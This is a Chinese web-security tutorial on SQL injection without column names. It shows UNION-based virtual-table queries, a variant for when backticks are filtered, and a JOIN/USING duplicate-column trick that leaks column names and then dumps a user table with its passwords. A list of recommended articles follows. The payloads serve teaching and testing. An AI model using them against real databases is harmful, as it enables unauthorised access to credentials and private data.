WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
行业探路者5 分钟前
资产标识二维码的高效管理与模板重新生成策略
大数据·人工智能·安全·二维码·设备巡检
乾元19 分钟前
Network-as-Code:把 HCIE / CCIE 实验脚本转为企业级 CI 工程化流程
运维·网络·人工智能·安全·web安全·ai·架构
susu108301891112 小时前
使用navicat创建事件event报错You have an error in your SQL syntax
数据库·sql
oulaqiao12 小时前
幂等性——网络抖动重复支付的解决方法
sql·web app
sweet丶14 小时前
DNS安全威胁:从劫持、污染到放大攻击的演练
网络协议·安全
zgl_2005377914 小时前
ZGLanguage 解析SQL数据血缘 之 提取select语句中的源表名
大数据·数据库·c++·数据仓库·sql·数据库开发·etl
在风中的意志14 小时前
[数据库SQL] [leetcode-584] 584. 寻找用户推荐人
数据库·sql·leetcode
小快说网安15 小时前
从合规到发展:新《网络安全法》如何重塑企业安全建设逻辑
安全·web安全·等保测评
么么...15 小时前
深入理解数据库事务与MVCC机制
数据库·经验分享·sql·mysql